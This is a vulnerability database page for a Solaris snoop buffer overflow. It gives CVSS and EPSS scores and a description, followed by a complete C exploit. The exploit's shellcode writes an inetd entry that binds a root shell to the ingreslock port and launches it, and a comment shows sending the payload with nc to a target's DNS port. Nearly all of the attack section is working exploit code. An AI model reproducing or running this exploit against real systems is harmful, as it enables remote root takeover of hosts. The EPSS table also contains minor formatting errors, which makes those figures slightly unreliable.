CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in Solaris snoop program allows remote attackers to gain root privileges via a long domain name when snoop is running in verbose mode.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
1.01%
–
2023-04-16
–
–
–
1.01%
–
2024-02-11
–
–
–
1.91%
–
2024-06-02
–
–
–
1.91%
–
2024-12-22
–
–
–
1.91%
–
2025-03-02
–
–
–
1.91%
–
2025-01-19
–
–
–
1.91%
–
2025-03-09
–
–
–
1.91%
–
2025-03-18
–
–
–
–
3.14%
2025-03-18
–
–
–
–
3.14,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/858/info
If a solaris machine is running snoop in verbose mode, it may be possible to compromise its security remotely by exploiting a buffer overflow in snoop. The problem is a buffer with a predefined length of 1024 that can be overflowed in the print_domain_name function. The priviliges granted to arbitrary code which could be executed would be those of the user running snoop, root.
/*
by: K2,
version .2
this is a funny Solaris.
remote Solaris 2.7 x86 snoop exploit
rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW
run with ( ./snp ) | nc -u target_host_network 53
requires target host to be running "snoop"
verified with patch 108483-01
thx str/horizon for shellcodes. Hi plageuz
Hi mom.
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shell[] =
"\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89"
"\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D"
"\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89"
"\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51"
"\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF"
"\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39"
"\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73"
"\x68\x28\x2D\x63\x29 echo w00w00;echo \"ingreslock"
"stream tcp nowait root /bin/sh sh -i\" >>/tmp/w0;"
"/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0";
#define SIZE 2048
#define NOPDEF 349
#define DEFOFF 0
const char x86_nop=0x90;
long nop=NOPDEF,esp=0x804646c;
long offset=DEFOFF;
char buffer[SIZE];
int main (int argc, char *argv[]) {
int i;
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);
memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < SIZE-4; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}
fprintf(stderr,"0x%x\n",esp+offset);
printf("%s", buffer);
return 0;
}